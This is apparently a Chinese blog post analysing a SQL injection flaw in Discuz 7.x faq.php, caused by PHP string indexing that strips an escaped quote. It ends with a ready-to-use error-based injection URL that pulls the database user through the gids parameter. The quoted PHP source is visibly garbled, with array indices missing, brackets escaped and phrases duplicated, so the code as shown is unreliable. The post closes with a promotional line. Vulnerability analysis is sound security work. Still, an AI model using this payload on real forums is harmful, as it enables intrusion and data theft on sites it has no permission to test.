Discuz7.x faq.php 注入漏洞分析 取值不当造成的安全隐患
刚回家就看到到处都在讨论这个漏洞, 闲的蛋疼就去看了下怎么形成的. 效果不看不知道, 一看就吓我一跳没有想到在php里面, 如果取值不严谨的话还会有这样一种BUG的情况发生, 其实说来这也不算什么BUG, 只是一个机制问题
在分析前先给大家看一个例子, 在GPC开启的状态下假如有这样一段代码:
我们执行下会发现输出如下内容:
https://p3.toutiaoimg.com/large/pgc-image/54c4dea977ca42ac89d546ca76fbb0f4
没有任何问题, 传递过去的单引号被用反斜杠转义了. 但是, 如果是这样写的呢?
我们再来输出下看看~
https://p9.toutiaoimg.com/large/pgc-image/db79de01f13b4bd2a46a14a517fc5d1e
可以看到这个时候我们传递过来的单引号没有了, 反而剩下了一个反斜杠, 到这里算是一取值的小BUG吧
简单地理解的话, 如果你的值为String而非Array的情况下, 在php里若用php的数组取值方式$XX, 那么转移过的 \' 将变成 \
也就是说这个时候php会将你的string来进行一个拆解处理惩罚
假设sql=123456 那么sql=123456那么sql就会取出字符串1 $sql就会取出字符串2
而$sql =\' 的话那么自然$sql 就只获取了 \ 反斜杠一个字符串
那么再来看Discuz7.2的漏洞代码: (faq.php文件grouppermission)
} elseif($action == 'grouppermission') { require_once './include/forum.func.php'; require_once language('misc'); $permlang = $language; unset($language); $searchgroupid = isset($searchgroupid) ? intval($searchgroupid) : $groupid; $groups = $grouplist = array(); $query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {$tablepre}usergroups ORDER BY (creditshigher'0' || creditslower'0'), creditslower"); $cgdata = $nextgid = ''; while($group = $db->fetch_array($query)) { $group\['type'\] = $group\['type'\] == 'special' && $group\['radminid'\] ? 'specialadmin' : $group\['type'\]; $groups\[$group\['type'\]\]\[\] = array($group\['groupid'\], $group\['grouptitle'\]); $grouplist\[$group\['type'\]\] .= ''.$group\['grouptitle'\].($groupid == $group\['groupid'\] ? ' ←' : '').''; if($group\['groupid'\] == $searchgroupid) { $cgdata = array($group\['type'\], count($groups\[$group\['type'\]\]) - 1, $group\['groupid'\]); } } if($cgdata\ == 'member') { $nextgid = $groups\[$cgdata\\]\[$cgdata\ + 1\]\; if($cgdata\ > 0) { $gids\ = $groups\[$cgdata\\]\[$cgdata\ - 1\]; } $gids\ = $groups\[$cgdata\\]\[$cgdata\\]; if($cgdata\ < count($groups\[$cgdata\\]) - 1) { $gids\ = $groups\[$cgdata\\]\[$cgdata\ + 1\]; if(count($gids) == 2) { $gids\ = $groups\[$cgdata\\]\[$cgdata\ + 2\]; } } elseif(count($gids) == 2) { $gids\ = $groups\[$cgdata\\]\[$cgdata\ - 2\]; } } else { $gids\ = $groups\[$cgdata\\]\[$cgdata\\]; } ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids\[\] = $row\; //问题就出在这里 } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); //直接带入 $groups = array(); while($group = $db->fetch_array($query)) { $group\['maxattachsize'\] = $group\['maxattachsize'\] / 1024; $group\['maxsizeperday'\] = $group\['maxsizeperday'\] / 1024; $group\['maxbiosize'\] = $group\['maxbiosize'\] ? $group\['maxbiosize'\] : 200; if($searchgroupid == $group\['groupid'\]) { $currenti = $group\['groupid'\]; } $groups\[$group\['groupid'\]\] = $group; }groupids是从groupids是从gids赋值过去的, 而这里Discuz并没有初始化gids, 而是直接以数组的方式来给gids,而是直接以数组的方式来给gids赋值
所以gids的的值我们可以通过数组的方式传递进入程序, 所以这里gids的的值我们可以通过数组的方式传递进入程序,所以这里gids是可控的~
我们任意传一点东西过去~ 来print_r一下$gids的值:
https://p26.toutiaoimg.com/large/pgc-image/41ade4aec7494aa09687e252b3cbb625
然后下面有一段foreach
foreach($gids as $row) { $groupids\[\] = $row\; //问题就出在这里}这里Discuz只思量到了本身程序的取值, 由于$gids原始形成的就是一个多维数组, 但是既然我们可控的话, 漏洞在这里就产生了
看我们最开始说的, 这种取值方法如果目标非Array的话, 那么单引号就没有了~ 我们来测试下
传递 1.php?gids=%27
然后我们直接print_r处理惩罚后的$groupids~
https://p26.toutiaoimg.com/large/pgc-image/85636c8b0f864d2091dfeda0d38b831d
可以看到单引号已经不见了, 只剩下了一个反斜杠, 那么再结合Discuz的implodeids函数一处理惩罚~ 漏洞就产生了~
我们直接让程序执行下去看看是什么效果
https://p3.toutiaoimg.com/large/pgc-image/81be511d46bc4580aef917040b024338
最后EXP:
faq.php?action=grouppermission&gids=%27&gids[]=,(select 1 from(select count(*),concat((select (select concat(user(),0x7e,0x5430304C5320474F21,0x7e))),floor(rand(0)*2))x from information_schema.tables group by x)a))%23
https://p6.toutiaoimg.com/large/pgc-image/572ed56fe43a48d9a1164091c856dcbd
https://p6.toutiaoimg.com/large/pgc-image/f6e76df51db74b9e991f04418450a262关注私信“白嫖”获取书籍资料
页:
[1]